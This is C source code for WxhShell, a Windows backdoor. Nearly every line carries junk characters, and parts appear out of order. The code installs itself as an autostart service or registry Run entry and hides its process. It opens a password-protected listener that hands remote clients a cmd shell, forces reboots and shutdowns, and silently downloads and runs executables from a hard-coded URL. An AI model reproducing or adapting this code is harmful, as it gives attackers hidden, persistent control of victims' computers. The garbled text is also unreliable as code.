  case 'd': { 6n{`t/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~mqiXr8  
    if(Boot(SHUTDOWN)) 9Ytf7NpR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !^dvtv`K  
    else { H5f>Q0jq  
    closesocket(wsh); +Mb;;hb  
    ExitThread(0); ohFUy}y  
    } - I$qe Xy  
    break; i)Hjmf3  
    } $nB4Ie!WcR  
  // 获取shell y{.s 4NT  
  case 's': { 4,o|6H  
    CmdShell(wsh); -.8 nEO3  
    closesocket(wsh); mCa [?  
    ExitThread(0); }{J5)\s9  
    break; K5O#BBX=  
  } zFy0Sz F  
  // 退出 t;7 tuq   
  case 'x': { v-;j44sB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p#VA-RSUQ|  
    CloseIt(wsh); vI<n~FHt  
    break; >a@c5  
    } 9oly=&lJ  
  // 离开 <q V<dK&W  
  case 'q': { 28KS*5S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  a=<l}`*  
    closesocket(wsh); Le&SN7I  
    WSACleanup(); r sf +dC  
    exit(1); j4v.8;  
    break; @z8,XW }  
        } wHSas[4k  
  } 1LbJR'}  
  } T)"B35  
n+db#qAj5  
  // 提示信息 T}ZUw;}BL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~khb!]  
} IXp(Aeb  
  } Bn83W4M  
sLGut7@Sg  
  return; #{]X<et  
} n%o"n?e  
eIEr\X4\~~  
// shell模块句柄 F;Q8^C0e*c  
int CmdShell(SOCKET sock) 9?xMsu-H  
{ DYJ F6O  
STARTUPINFO si; -r%3"C=m  
ZeroMemory(&si,sizeof(si)); +I$ k_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~_SoP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H"_ZqEg  
PROCESS_INFORMATION ProcessInfo; :zXkQQD8`  
char cmdline[]="cmd"; v(+9&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kW"6Gc&HUN  
  return 0; ;++CMTza]  
} 5&WYL  
Ccmo(W+0  
// 自身启动模式 (^fiw%#  
int StartFromService(void) C]ev"Am_)  
{ 6Z:<?_p%7g  
typedef struct y\]~S2}G  
{ "0JG96&\  
  DWORD ExitStatus; %F'*0<  
  DWORD PebBaseAddress; 7^}np^[HB  
  DWORD AffinityMask; Y`5(F>/RQG  
  DWORD BasePriority; | |=q"h3(  
  ULONG UniqueProcessId; &tT*GjPwg;  
  ULONG InheritedFromUniqueProcessId; W'l &rm@  
}   PROCESS_BASIC_INFORMATION;  `Pa)H  
fiuF!<#;6  
PROCNTQSIP NtQueryInformationProcess; $q_e~+SXT  
/%w9F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ' +6H=Qn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z5lE*z  
bL: !3|M  
  HANDLE             hProcess; g4(vgWOW`  
  PROCESS_BASIC_INFORMATION pbi; pIKQx5;  
"pdq_35  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4l0ON>W(  
  if(NULL == hInst ) return 0;  xZJ r*  
8]!%mrS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r|U'2+vn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8`e75%f:2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %A@Q%l6  
XH_XGzBQS  
  if (!NtQueryInformationProcess) return 0; VqzcTr]_  
AS;EO[Vn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1&S34wJF  
  if(!hProcess) return 0; 95Q{d'&  
da c?b (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8cqH0{  
3l?D%E]P  
  CloseHandle(hProcess); 7Sc._G{[%  
Lq#>N_72W0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g<,kV(_7  
if(hProcess==NULL) return 0; [yzDa:%  
T~shJ0%  
HMODULE hMod; ~&>|u5C*@  
char procName[255]; Rj&V~or  
unsigned long cbNeeded; g. V6:>,  
)sWC5\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FyZp,uD  
mTG v*=l  
  CloseHandle(hProcess); n9.` 5BH7/  
;J"b%~Gn  
if(strstr(procName,"services")) return 1; // 以服务启动 9|Z25_sS  
de.!~%D  
  return 0; // 注册表启动 %kM|Hk3d  
} [i7Ug.Oi"  
L B:wo .X  
// 主模块 U#=Q`  
int StartWxhshell(LPSTR lpCmdLine) $vlc@]~d`&  
{ ghXh nxG  
  SOCKET wsl; Z)RoFD1]C  
BOOL val=TRUE;  4wLp  
  int port=0; !!NVx\a  
  struct sockaddr_in door; O gQE1{C  
Y9h~ hD  
  if(wscfg.ws_autoins) Install(); x1\ a_Kt  
<S*o}:iB  
port=atoi(lpCmdLine); Jg I+k Nx  
|Qq_;x]  
if(port<=0) port=wscfg.ws_port; i3T]<&+j5  
dW3q  
  WSADATA data; 1aC ?*,e?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o $k1&hyH  
[I*BEJ;W'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [cSoo+Mlx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %]/O0#E3Kz  
  door.sin_family = AF_INET; XdKhT618G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F1skI _!  
  door.sin_port = htons(port); 0E9LZOw4T  
Mz}yf5{f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XWQp-H.  
closesocket(wsl); joa|5v'  
return 1; : b^\O  
} ]YF[W`2h  
VGLE5lP X  
  if(listen(wsl,2) == INVALID_SOCKET) { (h NSzG\  
closesocket(wsl); _<?lP$Xr  
return 1; <^}{sdOyu  
} VH&6Tm1  
  Wxhshell(wsl); V,=V   
  WSACleanup(); $7q'Be@{  
\IZfp=On  
return 0; K 2J DG.<  
6PETIs  
} /aa'ryl_%  
@/6cEiC+r\  
// 以NT服务方式启动 Go>_4)jy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k(>hboR5n  
{ !b<c*J?f  
DWORD   status = 0; X( m&  
  DWORD   specificError = 0xfffffff; !^ko"^p  
ZU%7m_zO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (/J$2V5-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C^]y iR-U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5;=,BWU  
  serviceStatus.dwWin32ExitCode     = 0; I2JE@?  
  serviceStatus.dwServiceSpecificExitCode = 0; rYI9?q  
  serviceStatus.dwCheckPoint       = 0; ^:Vwblv(  
  serviceStatus.dwWaitHint       = 0; tWkD@w`Lnn  
$E;`Y|r%WK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # [c`]v  
  if (hServiceStatusHandle==0) return; ;IX3w:Aw  
SWujj,-[  
status = GetLastError(); p"Ki$.Y  
  if (status!=NO_ERROR) ]HoQ6R\E b  
{ Z_&6 <1,H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /p| ]*={  
    serviceStatus.dwCheckPoint       = 0; 0m?v@K' l  
    serviceStatus.dwWaitHint       = 0; Vw7NLTE}`  
    serviceStatus.dwWin32ExitCode     = status; nKn,i$sO/.  
    serviceStatus.dwServiceSpecificExitCode = specificError; f]F]wg\_f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {5}UP@h  
    return; n,eO6X 4  
  } 0*?~I;.2m$  
sMh3IL9(*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v@bs4E46e  
  serviceStatus.dwCheckPoint       = 0; Ql-RbM  
  serviceStatus.dwWaitHint       = 0; ^Xjh?+WM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "T4Z#t  
}  S5RQ  
.Y.\D\>~  
// 处理NT服务事件,比如:启动、停止 @C40H/dE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L5C4#X  
{ \& 6  
switch(fdwControl) B6tp,Np5,  
{ 3rX5haD\  
case SERVICE_CONTROL_STOP: o ~"?K2@T  
  serviceStatus.dwWin32ExitCode = 0; 8E`rs)A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .%>UA|[~:  
  serviceStatus.dwCheckPoint   = 0; Q8.SD p  
  serviceStatus.dwWaitHint     = 0; Q5'DV!0aSv  
  { 6AgevyVG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3{o5AsVv  
  } h amn9  
  return; <6k5nEh  
case SERVICE_CONTROL_PAUSE:  ol^J-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P@LYa_UFsN  
  break; V[>MKB(  
case SERVICE_CONTROL_CONTINUE: Y=JfV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M/ @1;a@\  
  break; yP\KIm!  
case SERVICE_CONTROL_INTERROGATE: xcO Si>  
  break;  ajF-T=5  
}; :| J' HCth  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |eIEqq.Eb  
} 9W$FX  
ffo{ 4er  
// 标准应用程序主函数 =\7o@ 38  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -~Kw~RX<(  
{ ]Bw2>6W  
0sW=;R2  
// 获取操作系统版本 OgjSyzc  
OsIsNt=GetOsVer(); /5:C$ik  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sw~jyUEr  
gE^ {@^  
  // 从命令行安装 g1-^@&q  
  if(strpbrk(lpCmdLine,"iI")) Install(); D_r&B@4w  
hR" j[  
  // 下载执行文件 C Sx V^  
if(wscfg.ws_downexe) { F8S -H"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gz;.?=&iF  
  WinExec(wscfg.ws_filenam,SW_HIDE); +ZeHZjd  
}  ~0 <?^  
`(A>7;]:  
if(!OsIsNt) { } y@pAeS,  
// 如果时win9x,隐藏进程并且设置为注册表启动 8"R; axeD  
HideProc(); r(./00a  
StartWxhshell(lpCmdLine); h32QEz-+  
} CqQ>"Y  
else o9+ "6V|.  
  if(StartFromService()) l@ vaupg  
  // 以服务方式启动 x_lCagRGC4  
  StartServiceCtrlDispatcher(DispatchTable); D{YAEG   
else ]Ga}+^  
  // 普通方式启动 SBo>\<@  
  StartWxhshell(lpCmdLine); -d? 9Acd  
3uO#/EbS  
return 0; `MFw2nu@t  
} 5tI4m#y2  
B:dk>$>uQ  
! 9B| `  
[80jG+6  
=========================================== 9dl\`zlA*  
iD=VNf  
v[VUX69  
7)sEW#d!  
K:&FWl.  
Gqvnc8V&  
" |FS,Av  
t?H.M  
#include <stdio.h> kBYZNjSz  
#include <string.h> Oz{.>Pjn^o  
#include <windows.h> (6i)m c(  
#include <winsock2.h> 1SoKnfz{6  
#include <winsvc.h> L<bZVocOb_  
#include <urlmon.h> 46c7f*1l  
,@"Z!?e  
#pragma comment (lib, "Ws2_32.lib") =qH9<,p`H  
#pragma comment (lib, "urlmon.lib") |5|^[v   
L|4kv  
#define MAX_USER   100 // 最大客户端连接数 X6s6fu;  
#define BUF_SOCK   200 // sock buffer a-\\A[E  
#define KEY_BUFF   255 // 输入 buffer qa 'YZE`  
?eD,\G  
#define REBOOT     0   // 重启 5^lroC-(x  
#define SHUTDOWN   1   // 关机 K 2PV^Y  
Q7oJ4rIP  
#define DEF_PORT   5000 // 监听端口 <I .p{Z  
rJi;"xF8  
#define REG_LEN     16   // 注册表键长度 cbvK;;  
#define SVC_LEN     80   // NT服务名长度 WJvD,VMz  
jT/SZ|S  
// 从dll定义API +!9&E{pmo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JEq0{_7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cn1CM'Ru  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _[}r2,e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t]1j4S"pm  
6||zwwk'.  
// wxhshell配置信息 MJ^NRT0?b  
struct WSCFG {  5|2v6W!e  
  int ws_port;         // 监听端口 [9S\3&yoh  
  char ws_passstr[REG_LEN]; // 口令 No8~~  
  int ws_autoins;       // 安装标记, 1=yes 0=no PGZ.\i  
  char ws_regname[REG_LEN]; // 注册表键名 .ruGS.nS4  
  char ws_svcname[REG_LEN]; // 服务名 /5M@>A^?'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9An_zrJ%i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fRKO> /OT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GFd~..$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -AwR$<q'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ @$=MSN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rt!G:hy7  
]Cd 1&  
}; /VB n  
yU"lW{H@  
// default Wxhshell configuration Pk444_"=  
struct WSCFG wscfg={DEF_PORT, D )z'FOaI  
    "xuhuanlingzhe", q]Gym 7o  
    1, o"D`_ER  
    "Wxhshell", "5Oi[w&F5  
    "Wxhshell", A-gNfXP,D  
            "WxhShell Service", gNr/rp9A$m  
    "Wrsky Windows CmdShell Service", Pnq[r2#]:  
    "Please Input Your Password: ", ?Pz:H/ $  
  1, l/[0N@r~  
  "http://www.wrsky.com/wxhshell.exe", yP2[!vYw  
  "Wxhshell.exe" %m[ :},  
    }; J0xOB;rd  
_urv We  
// 消息定义模块 -.ITcD g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b%>vhj&F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >Ya+#j~CZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hU=n>g>nx  
char *msg_ws_ext="\n\rExit."; /C"dwh"``  
char *msg_ws_end="\n\rQuit."; ?CGbnXZ4Ug  
char *msg_ws_boot="\n\rReboot..."; F XJI,(:-  
char *msg_ws_poff="\n\rShutdown..."; =)5eui>{  
char *msg_ws_down="\n\rSave to "; XE);oL2xP  
#UGtYD}"  
char *msg_ws_err="\n\rErr!"; a.)Gd]}g  
char *msg_ws_ok="\n\rOK!"; lO},fM2j  
 TA;  
char ExeFile[MAX_PATH]; 8m Tjf Br  
int nUser = 0; `?VtB!p@x=  
HANDLE handles[MAX_USER]; <(x[Qp/5P  
int OsIsNt; 1c);![O  
De`)`\U  
SERVICE_STATUS       serviceStatus; '9cShe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Q FGIAM  
VyK]:n<5Q  
// 函数声明 5sui*WH  
int Install(void); 7m0sF<P{g  
int Uninstall(void); YGrmco?G  
int DownloadFile(char *sURL, SOCKET wsh); I12WOL q  
int Boot(int flag); P6w!r>?6N  
void HideProc(void); wic"a Y<m  
int GetOsVer(void); ]0P-?O:  
int Wxhshell(SOCKET wsl); ,^,KWi9  
void TalkWithClient(void *cs); Bv,u kQ\CH  
int CmdShell(SOCKET sock); _ +Ww1 f  
int StartFromService(void); ,[enGw  
int StartWxhshell(LPSTR lpCmdLine); [O*5\&6  
j3|Ek  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "o&_tB;O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xsS/)R?  
*njdqr2c~  
// 数据结构和表定义 /NFv?~</k  
SERVICE_TABLE_ENTRY DispatchTable[] = W 0^.Dx  
{ A `\2]t$z  
{wscfg.ws_svcname, NTServiceMain}, nokk! v/  
{NULL, NULL} td-2[Sy  
}; $h1`-=\7  
LY}%|w  
// 自我安装 vgRjd1k.\y  
int Install(void) N@J "~9T  
{ }.O,P'k  
  char svExeFile[MAX_PATH]; [eL?O;@BD  
  HKEY key; 0eq="|n^|  
  strcpy(svExeFile,ExeFile); 2= FGZa*.  
fk-zT  
// 如果是win9x系统,修改注册表设为自启动 W6f?/{Oo8  
if(!OsIsNt) { [*zB vj}G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HFYN(nz}[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :3WrRT,'L  
  RegCloseKey(key); u '-4hU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TR3_!0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uP bvN[~t  
  RegCloseKey(key); 5 {cbcuG  
  return 0; l6ayV  
    } NT?Gl(  
  } 7 J$  
}  M\zM-B  
else { 5]yQMY\2)  
v^2q\A-?  
// 如果是NT以上系统,安装为系统服务 c6gRXp'ID  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1HYrJb,d  
if (schSCManager!=0) :f (UZmV$  
{ ;&4}hPq  
  SC_HANDLE schService = CreateService &~oBJar  
  ( /Zw^EM6c  
  schSCManager, Pe[~kog,TP  
  wscfg.ws_svcname, Yt79W  
  wscfg.ws_svcdisp, F9(*MP|  
  SERVICE_ALL_ACCESS, /bm$G"%d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y]$%>N0vLX  
  SERVICE_AUTO_START, Dz$GPA   
  SERVICE_ERROR_NORMAL, U{(B)dFTH  
  svExeFile, $%9.qy\8  
  NULL, EJ7}h?a]U_  
  NULL, C5mq@$6  
  NULL, SQ7Ws u>T@  
  NULL, 7i?"akr4  
  NULL ximW!y7  
  ); b4%sOn,  
  if (schService!=0) u*:B 9E  
  { ?m5@ 63 5  
  CloseServiceHandle(schService); 2(V;OWY(@  
  CloseServiceHandle(schSCManager); e1a8>>bcI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kGm-jh  
  strcat(svExeFile,wscfg.ws_svcname); *'D( j#&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k2{*WF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5tUp[/]pl  
  RegCloseKey(key); ?pq#|PI)  
  return 0; ^PDz"L<*  
    } RGd@3OjN  
  } aOZSX3;wg  
  CloseServiceHandle(schSCManager); vAZc.=+ >  
} +\~.cP7[  
} r|2Y|6@  
9m^"ca  
return 1; J8Bz|.@Q  
} L{_Q%!h3]  
_7df(+.{<A  
// 自我卸载 Tjba @^T  
int Uninstall(void) 7=yV8.cD  
{ NzB"u+jB  
  HKEY key; JL0>-kg  
*@6,Sr)_  
if(!OsIsNt) { *`.h8gTD,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fLM5L_S}Y  
  RegDeleteValue(key,wscfg.ws_regname); :u$nH9kwv  
  RegCloseKey(key); n/$1&x1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S8-3Nv'  
  RegDeleteValue(key,wscfg.ws_regname); <1i:Z*l.  
  RegCloseKey(key); r(=  
  return 0; yH}(0  
  } !,8jB(  
} }pk)\^/w/  
} z|,YO6(L  
else { ' lt5|  
2JY]$$K7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]o}g~Xn  
if (schSCManager!=0) <Uj~S  
{ epw*Px  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8 nCw1   
  if (schService!=0) ^5j+O.zgN  
  { zJC!MeN  
  if(DeleteService(schService)!=0) { CJ+/j=i;~c  
  CloseServiceHandle(schService); iZsZSW \  
  CloseServiceHandle(schSCManager); ^e*Tg&  
  return 0; L9(mY `d>"  
  } cE (P^;7D  
  CloseServiceHandle(schService); 7wKN  
  } FKhmg&+>  
  CloseServiceHandle(schSCManager); &sh5|5EC  
} nymF`0HYe1  
} _:(RkS!x  
-!_f-Nny  
return 1; qfJi[8".  
} ./SDZ:5/  
xi5G?r  
// 从指定url下载文件 PeD>mCvL"  
int DownloadFile(char *sURL, SOCKET wsh) ]B8`b  
{ 04;E^,V  
  HRESULT hr; 4yOYw*X  
char seps[]= "/"; S$O+p&!X  
char *token; `" BFvF#  
char *file; H&$L1CrdL  
char myURL[MAX_PATH]; qUNK Dt  
char myFILE[MAX_PATH]; %H)^k${  
`6bIxb{  
strcpy(myURL,sURL); awYnlE/Z1  
  token=strtok(myURL,seps); )\nKr;4MH  
  while(token!=NULL) ^qB a~  
  { z;T_%?u  
    file=token; XPJsnu  
  token=strtok(NULL,seps); V { #8+  
  } G;RFY!o  
An0Dq jR  
GetCurrentDirectory(MAX_PATH,myFILE); <V[Qs3uo(  
strcat(myFILE, "\\"); 1Ce7\A  
strcat(myFILE, file); Z5x&P_.x[  
  send(wsh,myFILE,strlen(myFILE),0); RCZ"BxleU  
send(wsh,"...",3,0); HL8onNq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QMO.Bnek  
  if(hr==S_OK) :V,agAMn  
return 0; (!cG*FrN  
else Sj=x.Tr\  
return 1; g|STegg  
sd5%Szx  
} Jcy{ ~>@7  
mVaWbR@HS  
// 系统电源模块 6 &8uLM(z  
int Boot(int flag) g&E3Wc  
{ CG[2  
  HANDLE hToken; {C>E*qp}f  
  TOKEN_PRIVILEGES tkp; >z #^JR\6  
#)3luf3G  
  if(OsIsNt) { HB|R1<t;HB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G4&vrM,f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e\8|6< o[  
    tkp.PrivilegeCount = 1; +aY]?]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X RQz~Py  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H18.)yHX  
if(flag==REBOOT) { ]Rk4"i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ` x|=vu-  
  return 0; ;?h+8Z/{  
} K*!qt(D&  
else { #gq!L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?hC,49  
  return 0; {>v5~G  
} nrEG4X9  
  } e=ITAH3b  
  else { gZf8/Tp\z  
if(flag==REBOOT) { s(.H"_ a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ID_#a9N  
  return 0; M)qb6aD0  
} W(#u^,$e[  
else { c1Rn1M,2k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^-^ii 3G`  
  return 0; e 48N[p  
} R:+cumHr  
} s~p(59  
;_~9".'<d  
return 1; >0X_UDAWz  
} iNCT(N~.  
f>CJ1 ;][{  
// win9x进程隐藏模块 ;% <[*T:*'  
void HideProc(void) K[q{)>,9  
{ oKMr Pr[`  
7 /6 Zp?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zG* >g  
  if ( hKernel != NULL ) N^Hj%5  
  { xqQLri}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Snt~:W>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pN4gHi=  
    FreeLibrary(hKernel); ?hmuAgOtbh  
  } 8wEUly  
A8X3|<n=  
return; \\ZCi`O  
} ]N;\AXZ7  
gyz_$T@x  
// 获取操作系统版本 I7 = 4%)A  
int GetOsVer(void) YD{Ppz  
{ Y"  Ut  
  OSVERSIONINFO winfo; oQiRjDLx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &cp `? k  
  GetVersionEx(&winfo); _C3O^/<n4V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jO0"`|(]s  
  return 1; PcQ\o>0")  
  else fW w+'xF!  
  return 0; l`<1Y|  
} ^)p+)5l   
J kxsua  
// 客户端句柄模块 .<zN/&MXf  
int Wxhshell(SOCKET wsl) z -c1,GOD  
{ 6Z l#$>P  
  SOCKET wsh; ?={S"qK(q  
  struct sockaddr_in client; ZOBcV,K  
  DWORD myID; ]iY O}JuX  
o~{rZ~  
  while(nUser<MAX_USER) ' ~ 1/*F%8  
{ dKQu  
  int nSize=sizeof(client); AM0CIRX$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .TM. v5B  
  if(wsh==INVALID_SOCKET) return 1; 2Krh&  
SE$~Wbj?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /.WIED}>  
if(handles[nUser]==0) g#q7~#9  
  closesocket(wsh); UOpSH{N  
else ^o87qr0g]  
  nUser++; 8#nAs\^  
  } r"9hpZH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I {%Y0S  
R > [2*o"  
  return 0; Lz&FywF-l  
} D>-srzw  
7 <ZGNxZ~  
// 关闭 socket gHtflS  
void CloseIt(SOCKET wsh) L0)w~F ?m  
{ %Jji<M]  
closesocket(wsh); fuU 3?SG  
nUser--; USg,=YM  
ExitThread(0); &. MUSqo9  
} \1O wZ@  
t"Bp # U1  
// 客户端请求句柄 `&:>?Y/X2  
void TalkWithClient(void *cs) _fdD4-2U  
{ jmG)p|6  
}` YtXD-o  
  SOCKET wsh=(SOCKET)cs;  (l-l Y  
  char pwd[SVC_LEN]; ZPG~@lU  
  char cmd[KEY_BUFF]; kni{1Gr  
char chr[1]; ?3%r:g4  
int i,j; y>X(GF^  
Px3I+VP  
  while (nUser < MAX_USER) { PLJDRp 2o  
\S_A e;  
if(wscfg.ws_passstr) { =q(?ALGc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . H}R}^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PpLiH9}  
  //ZeroMemory(pwd,KEY_BUFF); =$y;0]7Lwi  
      i=0; H)h$@14xu  
  while(i<SVC_LEN) { I7\T :Q[  
1k]L,CX  
  // 设置超时 ~d3|zlh  
  fd_set FdRead; cw,|,uXq 6  
  struct timeval TimeOut; ]K'OH&  
  FD_ZERO(&FdRead); 2Ab`i!#  
  FD_SET(wsh,&FdRead); z(u,$vZ _  
  TimeOut.tv_sec=8; r>}z|I'  
  TimeOut.tv_usec=0; 5,pEJ>dDD3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3+\Zom4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z*b$&nM  
<G0Ut6J>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z2 Vri  
  pwd=chr[0]; <MKX F V  
  if(chr[0]==0xd || chr[0]==0xa) { !>N+a3   
  pwd=0; kCALJRf~d  
  break; "=ki_1/P  
  } V|TD+7.`QB  
  i++; jNI9 .45y  
    } w9StW9 4p  
+k h Tl:  
  // 如果是非法用户,关闭 socket 1*e7NJ/.,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }; R2M  
} WL|<xNL  
_f~$iY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )gD2wk(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|G v  
k[}WYs+r  
while(1) { 3mHP=)  
lvRTy|%[  
  ZeroMemory(cmd,KEY_BUFF); !*3]PZ25a(  
H|$ *HQm  
      // 自动支持客户端 telnet标准   GO.7IL{ {  
  j=0; @ M4m!;rM  
  while(j<KEY_BUFF) { M~h.M PI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A)gSOC{3F)  
  cmd[j]=chr[0]; /'zXb_R,$  
  if(chr[0]==0xa || chr[0]==0xd) { "sIww  
  cmd[j]=0; wwet90_g  
  break; gi>W&6  
  } xLb=^Xjec  
  j++; (5A8#7a  
    } F-F1^$]k  
H]W'mm  
  // 下载文件 6b%IPbb  
  if(strstr(cmd,"http://")) { ?LJiFG]^m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x+TdTe;p  
  if(DownloadFile(cmd,wsh)) 4 aE{}jp1  
